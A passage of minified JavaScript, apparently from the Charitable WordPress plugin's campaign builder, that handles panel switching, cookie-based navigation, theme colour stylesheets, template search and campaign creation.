charitable-loading-inline\">\u003C\u002Fi>',tinymceDefaults:{tinymce:{toolbar1:\"bold,italic,underline,blockquote,strikethrough,bullist,numlist,alignleft,aligncenter,alignright,undo,redo,link\"},quicktags:true},pagebreakTop:false,pagebreakBottom:false,upload_img_modal:false},init:function(){var that=this;charitable_panel_switch=true;s=this.settings;$(app.ready);$(window).on(\"load\",function(){if(typeof $.ready.then===\"function\"){$.ready.then(app.load)}else{app.load()}});$(window).on(\"beforeunload\",function(){if(!that.formIsSaved()&&closeConfirmation){return charitable_builder.are_you_sure_to_close}})},load:function(){if(wpchar.getQueryString(\"newcampaign\")){app.formSave(false)}const event=CharitableUtils.triggerEvent($builder,\"CharitableCampaignBuilderReady\");if(event.isDefaultPrevented()){return false}app.hideLoadingOverlay();app.initCodeEditor()},ready:function(){if(app.isVisitedViaBackButton()){location.reload();return}app.showLoadingOverlay();s.version=\"1.8.4.3\";$builder=$(\"#charitable-builder\");$builderForm=$(\"#charitable-builder-form\");elements.$helpButton=$(\"#charitable-help\");elements.$previewButton=$(\"#charitable-preview-btn\");elements.$viewCampaignButton=$(\"#charitable-view-btn\");elements.$embedButton=$(\"#charitable-embed\");elements.$statusButton=$(\"#charitable-status-button\");elements.$saveButton=$(\"#charitable-save\");elements.$exitButton=$(\"#charitable-exit\");elements.$templateButton=$(\".charitable-panel-template-button\");elements.$designButton=$(\".charitable-panel-design-button\");elements.$settingsButton=$(\".charitable-panel-settings-button\");elements.$marketingButton=$(\".charitable-panel-marketing-button\");elements.$paymentButton=$(\".charitable-panel-payment-button\");elements.$noFieldsOptions=$(\".charitable-panel-fields .charitable-no-fields-holder .no-fields\");elements.$noFieldsPreview=$(\".charitable-panel-fields .charitable-no-fields-holder .no-fields-preview\");elements.$formPreview=$(\".charitable-panel-fields .charitable-preview-wrap\");elements.$revisionPreview=$(\"#charitable-panel-revisions .charitable-panel-content\");elements.$focusOutTarget=null;elements.$preview=$(\".charitable-preview\");elements.$panelDesign=$(\"#charitable-panel-design\");elements.$nextFieldId=$(\"#charitable-field-id\");elements.$fieldOptions=$(\"#charitable-field-options\");elements.$fieldsPreviewWrap=$(\".charitable-panel-fields .charitable-panel-content-wrap\"),elements.$sortableFieldsWrap=$(\".charitable-panel-fields .charitable-field-wrap\");elements.$sortableTabsWrap=$(\".charitable-panel-fields .charitable-tab-wrap\");elements.$sortableTabNav=$(\".charitable-campaign-preview nav.charitable-campaign-preview-nav\");elements.$sortableTabContent=$(\".charitable-campaign-preview .tab-content\");elements.$addFieldsButtons=$(\".charitable-add-fields-button\").not(\".not-draggable\").not(\".warning-modal\").not(\".charitable-not-available\").not(\".charitable-not-installed\").not(\".charitable-not-activated\").not(\".charitable-installed-refresh\").not(\".charitable-addon-file-missing\").not(\".charitable-need-upgrade\");elements.$templatePanel=$(\"#charitable-panel-template\");elements.$templatePreview=$(\".charitable-template-preview\");elements.$settingsPanel=$(\"#charitable-panel-settings\");elements.$campaignID=$('#charitable-builder-form input[name=\"id\"]');elements.$templateID=$('#charitable-builder-form input[name=\"template_id\"]');elements.$templateLabel=$('#charitable-builder-form input[name=\"template_label\"]');elements.$postStatus=$('#charitable-builder-form input[name=\"post_status\"]');elements.$primaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_primary\"]');elements.$secondaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_secondary\"]');elements.$tertiaryThemeColorBase=$('#charitable-builder-form input[name=\"color_base_tertiary\"]');elements.$buttonThemeColorBase=$('#charitable-builder-form input[name=\"color_base_button\"]');app.bindUIActions();s.formID=$builderForm.data(\"id\");s.templateID=$builderForm.data(\"template-id\");s.templateLabel=$builderForm.data(\"template-label\");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");s.primaryThemeColorBase=elements.$primaryThemeColorBase.val().length>0?elements.$primaryThemeColorBase.val():\"\";s.secondaryThemeColorBase=elements.$secondaryThemeColorBase.val().length>0?elements.$secondaryThemeColorBase.val():\"\";s.tertiaryThemeColorBase=elements.$tertiaryThemeColorBase.val().length>0?elements.$tertiaryThemeColorBase.val():\"\";s.buttonThemeColorBase=elements.$buttonThemeColorBase.val().length>0?elements.$buttonThemeColorBase.val():\"\";s.primaryThemeColor=\"\";s.secondaryThemeColor=\"\";s.tertiaryThemeColor=\"\";s.buttonThemeColor=\"\";s.formSaved=$builderForm.find(\"#charitable-form-saved\").val();s.formSavedStatus=$builderForm.find(\"#charitable-form-post-status\").val();s.formSavedStatusLabel=$builderForm.find(\"#charitable-form-post-status-label\").val();s.formStatus=s.formSavedStatus.length>0?s.formSavedStatus:\"draft\";s.formStatusLabel=s.formSavedStatusLabel.length>0?s.formSavedStatusLabel:\"Draft\";s.campaignTitle=$(\"input#charitable_settings_title\").val();s.campaignDescription=$('div[data-special-type=\"campaign_description\"] .campaign-builder-htmleditor').first().html();s.campaignOverview=$('div[data-special-type=\"campaign_overview\"] .campaign-builder-htmleditor').length>0?$('div[data-special-type=\"campaign_overview\"] .campaign-builder-htmleditor').first().html():\"\";s.maxNumberOfTabs=4;s.denyList={\"donation-form\":{\"donate-button\":0,\"donation-form\":0,\"donate-amount\":0},\"donate-button\":{\"donation-form\":0},\"donate-amount\":{\"donation-form\":0}};s.pagebreakTop=$(\".charitable-pagebreak-top\").length;s.pagebreakBottom=$(\".charitable-pagebreak-bottom\").length;s.didInitHTMLEditorFields=false;s.quilled=[];s.currentModal=false;$builder.on(\"keypress\",\"#charitable-builder-form :input:not(textarea)\",function(e){if(e.keyCode===13){e.preventDefault()}});$(\".charitable-panel\").each(function(index,el){var $this=$(this),$configured=$this.find(\".charitable-panel-sidebar-section.configured\").first();if($configured.length){var section=$configured.data(\"section\");$configured.addClass(\"active\");$this.find(\".charitable-panel-content-section-\"+section).show().addClass(\"active\");$this.find(\".charitable-panel-content-section-default\").hide()}else{$this.find(\".charitable-panel-content-section\").hide().removeClass(\"active\");$this.find(\".charitable-panel-content-section\").first().show().addClass(\"active\");$this.find(\".charitable-panel-sidebar-section:first-of-type\").addClass(\"active\")}});app.builderHotkeys();if(typeof jconfirm!==\"undefined\"){jconfirm.defaults={closeIcon:false,backgroundDismiss:false,escapeKey:true,animationBounce:1,useBootstrap:false,theme:\"modern\",boxWidth:\"400px\",animateFromElement:false,draggable:false,content:charitable_builder.something_went_wrong}}$(\".campaign-builder-datepicker\").each(function(){app.initDatePicker($(this))});$(\".campaign-tag-field\").each(function(){app.initTagField($(this))});$(\".charitable-campaign-suggested-donations\").each(function(){app.initSuggestedDonations($(this))});$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.initColorPicker();app.initTemplatePanel();app.initStatusButton();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();app.resizeTopCampaignTitleInputBox();if(false!==app.hasTemplate()){var panel=null!==wpCookies.get(\"charitable_panel\")?wpCookies.get(\"charitable_panel\").trim():false;if(typeof panel!==\"undefined\"&&panel.length>0&&panel!==\"template\"){app.panelSwitch(panel)}else{app.panelSwitch(\"design\")}app.checkFieldAllow();app.redirectBasedOnCookies(panel)}else{app.forceTemplateSelect();app.setCampaignTitleNotSet()}app.openModalButtonClick();app.confirmCampaignDeletion();$(\".education-buttons button\").click(function(){window.open(\"https:\u002F\u002Fwww.wpcharitable.com\u002Fpricing\u002F\")});$(\".campaign-builder-campaign-creator-id select\").select2({templateResult:app.campaignCreatorFormatOptions});$(\".campaign-builder-campaign-creator-id-mini select\").select2({templateResult:app.campaignCreatorFormatOptions})},campaignCreatorFormatOptions(state){if(!state.id){return state.text}var $state=$('\u003Cspan class=\"charitable-select2-avatar\">\u003Cimg width=\"20px\" height=\"20px\" style=\"display: inline-block; float: left; margin-right: 10px;\" src=\"'+state.element.dataset.avatar+'\" \u002F> '+state.text+'\u003C\u002Fspan>\u003Cspan class=\"charitable-select2-meta\"> '+state.element.dataset.meta+\"\u003C\u002Fspan>\");return $state},redirectBasedOnCookies(panel=false){var cookieContentSection=wpCookies.get(\"charitable_panel_content_section\"),cookieActiveFieldId=\"\"!==wpCookies.get(\"charitable_panel_active_field_id\")?parseInt(wpCookies.get(\"charitable_panel_active_field_id\")):\"\",cookieActiveTabId=wpCookies.get(\"charitable_panel_tab_section_tab_id\"),cookieActiveLayoutOptionsGroup=wpCookies.get(\"charitable_panel_design_layout_options_group\");if($(\".charitable-preview\").is(\":visible\")&&\"\"!==cookieActiveTabId&&$('nav.charitable-campaign-preview-nav li[data-tab-id=\"'+cookieActiveTabId+'\"] a').is(\":visible\")){$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id=\"'+cookieActiveTabId+'\"] a').click()}else if($(\".charitable-preview\").is(\":visible\")&&$(\"#charitable-field-\"+cookieActiveFieldId+\" a\").is(\":visible\")){app.clickFieldEdit(cookieActiveFieldId)}else if($(\".charitable-panel-sidebar\").is(\":visible\")&&$('a.charitable-panel-sidebar-section[data-section=\"'+cookieContentSection+'\"').is(\":visible\")){$('a.charitable-panel-sidebar-section[data-section=\"'+cookieContentSection+'\"').click()}else if(\"\"!==cookieActiveFieldId&&$(\"#charitable-field-\"+cookieActiveFieldId).is(\":visible\")){$(\"#charitable-field-\"+cookieActiveFieldId).click()}else if($(\".charitable-panel-sidebar\").is(\":visible\")&&cookieContentSection&&cookieContentSection!==\"layout-options\"&&$(\".charitable-tabs\").is(\":visible\")&&$(\".charitable-tabs li#\"+cookieContentSection+\" a\").is(\":visible\")){$(\".charitable-tabs li#\"+cookieContentSection+\" a\").click()}else if(false===panel&&false!==app.hasTemplate()){app.panelSwitch(\"design\")}else{wpchar.debug(\"redirectBasedOnCookies nothing\")}},clickFieldEdit(fieldId){$(\"#charitable-field-\"+fieldId+\" a.charitable-field-edit\").click()},refreshTabFieldsSortDrag(){elements.$sortableTabContent=$(\".charitable-campaign-preview .tab-content\")},hasTemplate(){if(typeof s.templateID!==\"undefined\"&&s.templateID.length>0){return true}var templateID=parseInt(elements.$templateID.val());if(templateID>0){return true}return false},forceTemplateSelect(){$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"active\").addClass(\"disabled\");elements.$templateButton.removeClass(\"disabled\").addClass(\"active\");app.panelSwitch(\"template\")},unforceTemplateSelect(){$(\"#charitable-panels-toggle\").find(\"button\").removeClass(\"disabled\")},disableTemplateSelect(){elements.$templateButton.removeClass(\"active\").addClass(\"disabled\")},updateTemplateID(templateID=\"\",templateLabel=\"\"){elements.$templateID.val(templateID);elements.$templateLabel.val(templateLabel);app.updateThemeCSS(null,templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,false);$(\".charitable-preview\").removeClass(function(index,className){return(className.match(\u002F(^|\\s)charitable-builder-template-\\S+\u002Fg)||[]).join(\" \")}).addClass(\"charitable-builder-template-\"+templateID);if(templateLabel!==\"\"){$(\".charitable-preview-top-bar .charitable-campaign-theme-label\").text(templateLabel)}else if(templateID!==\"\"){$(\".charitable-preview-top-bar .charitable-campaign-theme-label\").text(templateID)}},updateThemeCSS(whatChanged=null,templateID=\"\",primaryThemeColor=\"\",secondaryThemeColor=\"\",tertiaryThemeColor=\"\",buttonThemeColor=\"\",justColors=true){if(\"\"===templateID&&\"\"===s.templateID){return}if(typeof s.primaryThemeColor===\"undefined\"||\"\"===primaryThemeColor){if(typeof s.primaryThemeColor!==\"undefined\"&&\"\"!==s.primaryThemeColor){primaryThemeColor=s.primaryThemeColor}else if(typeof s.primaryThemeColorBase!==\"undefined\"&&\"\"!==s.primaryThemeColorBase){primaryThemeColor=s.primaryThemeColorBase}else{primaryThemeColor=\"000000\"}}if(typeof s.secondaryThemeColor===\"undefined\"||\"\"===secondaryThemeColor){if(typeof s.secondaryThemeColor!==\"undefined\"&&\"\"!==s.secondaryThemeColor){secondaryThemeColor=s.secondaryThemeColor}else if(typeof s.secondaryThemeColorBase!==\"undefined\"&&\"\"!==s.secondaryThemeColorBase){secondaryThemeColor=s.secondaryThemeColorBase}else{secondaryThemeColor=\"000000\"}}if(typeof s.tertiaryThemeColor===\"undefined\"||\"\"===tertiaryThemeColor){if(typeof s.tertiaryThemeColor!==\"undefined\"&&\"\"!==s.tertiaryThemeColor){tertiaryThemeColor=s.tertiaryThemeColor}else if(typeof s.tertiaryThemeColorBase!==\"undefined\"&&\"\"!==s.tertiaryThemeColorBase){tertiaryThemeColor=s.tertiaryThemeColorBase}else{tertiaryThemeColor=\"000000\"}}if(typeof s.buttonThemeColor===\"undefined\"||\"\"===buttonThemeColor){if(typeof s.buttonThemeColor!==\"undefined\"&&\"\"!==s.buttonThemeColor){buttonThemeColor=s.buttonThemeColor}else if(typeof s.buttonThemeColorBase!==\"undefined\"&&\"\"!==s.buttonThemeColorBase){buttonThemeColor=s.buttonThemeColorBase}else{buttonThemeColor=\"000000\"}}primaryThemeColor=primaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");secondaryThemeColor=secondaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");tertiaryThemeColor=tertiaryThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");buttonThemeColor=buttonThemeColor.replace(\u002F[^a-zA-Z 0-9]+\u002Fg,\"\");var colorQueryString=\"p=\"+primaryThemeColor+\"&s=\"+secondaryThemeColor+\"&t=\"+tertiaryThemeColor+\"&b=\"+buttonThemeColor+\"&ver=\"+s.version;if(justColors===false){$('link[id=\"charitable-builder-template-preview-theme-css\"]').attr(\"href\",charitable_builder.charitable_rest_url+\"campaign-css-admin\u002F\"+templateID+\"?\"+colorQueryString)}if(whatChanged!==null){app.replaceCSSFile(whatChanged,templateID,colorQueryString)}else{app.replaceCSSFile(\"primary\",templateID,colorQueryString);app.replaceCSSFile(\"secondary\",templateID,colorQueryString);app.replaceCSSFile(\"tertiary\",templateID,colorQueryString);app.replaceCSSFile(\"button\",templateID,colorQueryString)}},replaceCSSFile:function(whatChanged,templateID,colorQueryString){$(\"head\").find(\"link#charitable-builder-template-preview-theme-colors-\"+whatChanged+\"-css\").remove();$(\"head\").append('\u003Clink rel=\"stylesheet\" data-color-type=\"'+whatChanged+'\" id=\"charitable-builder-template-preview-theme-colors-temp\" href=\"'+charitable_builder.charitable_rest_url+\"campaign-css-admin\u002F\"+templateID+\"-colors?\"+colorQueryString+'\" type=\"text\u002Fcss\" media=\"screen\">');$(\"#charitable-design-wrap\").addClass(\"loading\");setTimeout(function(){$(\"head\").find(\"#charitable-builder-template-preview-theme-colors-temp\").attr(\"id\",\"charitable-builder-template-preview-theme-colors-\"+whatChanged+\"-css\");$(\"#charitable-design-wrap\").removeClass(\"loading\")},250)},searchTemplate:function(e){e.preventDefault();let $active=$(\".charitable-setup-templates-categories li.active\"),category=$active.data(\"category\"),searchQuery=$(this).val();app.performSearch(searchQuery,category)},performSearch(query=\"\",category=\"\"){let $templateList=elements.$templatePreview.find(\".charitable-template-list\");if(query===\"\"&&(category===\"\"||category===\"all\")){$templateList.find(\".charitable-template-list-container-item\").removeClass(\"charitable-hidden\")}else{$templateList.find(\".charitable-template-list-container-item\").addClass(\"charitable-hidden\");if(query!==\"\"&&category!==\"\"&&category!==\"all\"){$templateList.find('.charitable-template[data-template-tags*=\"'+query+'\"][data-template-categories*=\"'+category+'\"]').parent().removeClass(\"charitable-hidden\")}else if(query!==\"\"&&(category===\"\"||category===\"all\")){$templateList.find('.charitable-template[data-template-tags*=\"'+query+'\"],.charitable-template[data-template-categories*=\"'+query+'\"]').parent().removeClass(\"charitable-hidden\")}else{$templateList.find('.charitable-template[data-template-tags*=\"'+category+'\"],.charitable-template[data-template-categories*=\"'+category+'\"]').parent().removeClass(\"charitable-hidden\")}}var numItems=$(\".charitable-template-list-container-item\").not(\".hidden\").length;$(\".charitable-templates-no-results\").toggle(!numItems);if(!elements.$templatePreview.find(\"#charitable-setup-template-search\").val()){elements.$templatePreview.find(\".charitable-setup-templates-search-wrap .fa-close\").hide()}else{elements.$templatePreview.find(\".charitable-setup-templates-search-wrap .fa-close\").show()}app.showCheckTemplateList();app.showUpgradeBanner()},selectCategory:function(e){e.preventDefault();let $item=$(this),$active=$item.closest(\"ul\").find(\".active\"),category=$item.data(\"category\"),searchQuery=$(\"#charitable-setup-template-search\").val();$active.removeClass(\"active\");$item.addClass(\"active\");app.performSearch(searchQuery,category)},showUpgradeBanner:function(){if(!$(\"#tmpl-charitable-templates-upgrade-banner\").length){return}if($(\"#charitable-template-list .charitable-template-upgrade-banner\").length>0){$(\"#charitable-template-list .charitable-template-upgrade-banner\").remove()}if(!app.isFunction(wp.template)){wpchar.debug(\"wp.template not a function\");return}else{wpchar.debug(\"wp.template is a function\")}let template=wp.template(\"charitable-templates-upgrade-banner\");if(!template){return}const $templates=$(\"#charitable-template-list .charitable-template-list-container-item:not(.charitable-hidden)\"),$insertPoint=$(\"#charitable-template-list .charitable-template-list-container-item\");if($templates.length>5){$(\"#charitable-template-list .charitable-template-list-container > div:last-child\").after(template());return}$insertPoint.last().after(template())},showCheckTemplateList:function(){if($(\"#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-blank\").addClass(\"charitable-hidden\");$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}else{$(\"#charitable-template-list .charitable-template-list-section-blank\").removeClass(\"charitable-hidden\");$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").removeClass(\"charitable-hidden\")}if($(\"#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}else{$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").removeClass(\"charitable-hidden\")}if($(\"#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)\").length>0&&$(\"#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)\").length===0){$(\"#charitable-template-list .charitable-template-list-section-prebuilt\").addClass(\"charitable-hidden\")}},initStatusButton:function(formStatus=\"\",formStatusLabel=\"\"){var $statusDropdown=$(\"ul#charitable-status-dropdown\");if(formStatus==\"\"&&s.formStatus.length>0){formStatus=s.formStatus}if(formStatusLabel==\"\"&&s.formStatusLabel.length>0){formStatusLabel=s.formStatusLabel}$statusDropdown.addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\");$(\"#charitable-status-button span.text\").html(formStatusLabel);$(\"#charitable-status-button\").attr(\"data-status\",formStatus);$statusDropdown.find(\"a\").removeClass(\"charitable-hidden\");$statusDropdown.find(\"a.switch-\"+formStatus).addClass(\"charitable-hidden\");$statusDropdown.find(\"a.\"+formStatus).addClass(\"charitable-hidden\");if(formStatus===\"draft\"){}else if(formStatus===\"publish\"){}},initTemplatePanel:function(){$(\"#charitable-template-container\").on(\"keyup\",\"#charitable-setup-template-search\",app.searchTemplate).on(\"click\",\".charitable-setup-templates-categories li\",app.selectCategory);if(!s.didInitHTMLEditorFields){$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}elements.$templatePreview.on(\"click\",\".charitable-template-lite-to-pro a.button, .charitable-setup-templates-feedback a.send-feedback\",function(e){e.preventDefault();$(\".charitable-panel-content-wrap\").animate({scrollTop:0},500);$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');$(\".charitable-feedback-form-container\").css(\"opacity\",\"100\").css(\"visibility\",\"visible\");$(\".charitable-feedback-form-container\").find(\".charitable-feedback-form-interior\").removeClass(\"charitable-hidden\");$(\".charitable-feedback-form-container\").find(\"textarea\").val(\"\");$(\".charitable-feedback-form-interior-confirmation\").addClass(\"charitable-hidden\")});$builderForm.on(\"click\",\"#charitable-feedback-form .charitable-templates-close-icon, #charitable-feedback-form-confirmation .charitable-templates-close-icon\",function(e){e.preventDefault();$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\".charitable-builder-underlay\").remove();$(\"#charitable-panel-template .charitable-feedback-form-container\").css(\"opacity\",\"0\").css(\"visibility\",\"hidden\")});$builderForm.on(\"click\",\".template-buttons a.preview-campaign\",function(e){e.preventDefault();$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');const previewBox=$(this).closest(\".charitable-template\"),templateLabel=typeof previewBox.data(\"template-label\")!==\"undefined\"?previewBox.data(\"template-label\"):\"\",templateDescription=typeof previewBox.data(\"template-description\")!==\"undefined\"?previewBox.data(\"template-description\"):\"\",templatePreviewURL=typeof previewBox.data(\"template-preview-url\")!==\"undefined\"?previewBox.data(\"template-preview-url\"):\"\",templateCode=typeof previewBox.data(\"template-code\")!==\"undefined\"?previewBox.data(\"template-code\"):\"\";$(\"#charitable-builder-modal-template-preview\").find(\"h4\").html(templateLabel);$(\"#charitable-builder-modal-template-preview\").find(\".charitable-templates-preview-description\").html(\"\u003Cp>\"+templateDescription+\"\u003C\u002Fp>\");$(\"#charitable-builder-modal-template-preview\").find(\"img\").attr(\"src\",templatePreviewURL);$(\"#charitable-builder-modal-template-preview\").find(\"img\").attr(\"alt\",templateLabel);$(\"#charitable-builder-modal-template-preview\").find(\"a.button-link\").attr(\"data-template-id\",templateCode);$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").addClass(\"active\")});$builderForm.on(\"click\",\"#charitable-templates-preview-form .charitable-templates-close-icon\",function(e){e.preventDefault();$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\")});elements.$templatePreview.on(\"click\",\"nav.charitable-template-tabs a\",function(e){e.preventDefault();var $this=$(this),templateTabFilter=$this.data(\"template-tab-filter\")?$this.data(\"template-tab-filter\"):false,$templateList=elements.$templatePreview.find(\".charitable-template-list \");elements.$templatePreview.find(\"nav.charitable-template-tabs a\").removeClass(\"active\");$this.addClass(\"active\");$templateList.find(\".charitable-template\").removeClass(\"hidden\");if(templateTabFilter){$templateList.find('.charitable-template[data-template-type!=\"'+templateTabFilter+'\"]').addClass(\"hidden\")}});elements.$templatePreview.on(\"click\",\"a.charitable-trigger-blank\",function(e){e.preventDefault();$(\"#charitable-template-list .charitable-template-upgrade-banner\").remove();elements.$templatePreview.find(\"#charitable-setup-template-search\").val(\"simple\").trigger(\"keyup\").addClass(\"highlighted\").addClass(\"with-x\");elements.$templatePreview.find(\".charitable-setup-templates-categories\").find(\"li[data-category=all\").click();app.showCheckTemplateList();app.showUpgradeBanner()});elements.$templatePreview.on(\"click\",\"i.fa-close\",function(e){elements.$templatePreview.find(\"#charitable-setup-template-search\").val(\"\").trigger(\"keyup\").removeClass(\"highlighted\")});elements.$templatePreview.on(\"click\",\".button.create-campaign\",function(e){e.preventDefault();if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+charitable_builder.error_already_started_campaign+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){s.templateID=$(this).closest(\".charitable-template\").data(\"template-code\");s.templateLabel=$(this).closest(\".charitable-template\").data(\"template-label\");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));app.restartForm(s.templateID,null,s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})}else{s.templateID=$(this).closest(\".charitable-template\").data(\"template-code\");s.templateLabel=$(this).closest(\".charitable-template\").data(\"template-label\");var $titleInput=$(\"input#charitable_settings_title\");var currentTitle=$titleInput.val()||s.campaignTitle||\"\";if((!currentTitle||$.trim(currentTitle)===\"\")&&s.templateLabel){app.updateFormUI(\"title\",s.templateLabel)}s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));app.updateTemplateID(s.templateID,s.templateLabel);app.unforceTemplateSelect();app.enableFormActions();app.restartForm(s.templateID,\"design\",s.templateLabel);app.restartTemplateScreen(s.templateID);if(!s.didInitHTMLEditorFields){$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}CharitableUtils.triggerEvent($builder,\"charitableCampaignFormScreen\",[s.templateID])}});$builder.on(\"click\",\".button-preview-create-campaign\",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data(\"template-id\");if(theTemplateID!==\"\"){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\");if($('#charitable-template-list .charitable-template[data-template-code=\"'+theTemplateID+'\"] .button.update-campaign').length>0){elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.update-campaign\").click()}else{elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.create-campaign\").click()}}});$builder.on(\"click\",\".button-preview-update-campaign\",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data(\"template-id\");if(theTemplateID!==\"\"){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\");if($('#charitable-template-list .charitable-template[data-template-code=\"'+theTemplateID+'\"] .button.update-campaign').length>0){elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.update-campaign\").click()}else{elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.create-campaign\").click()}}});elements.$templatePreview.on(\"click\",\".button.update-campaign\",function(e){e.preventDefault();var theButton=$(this);if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+charitable_builder.error_already_started_campaign+\"\u003C\u002Fp>\",icon:\"fa 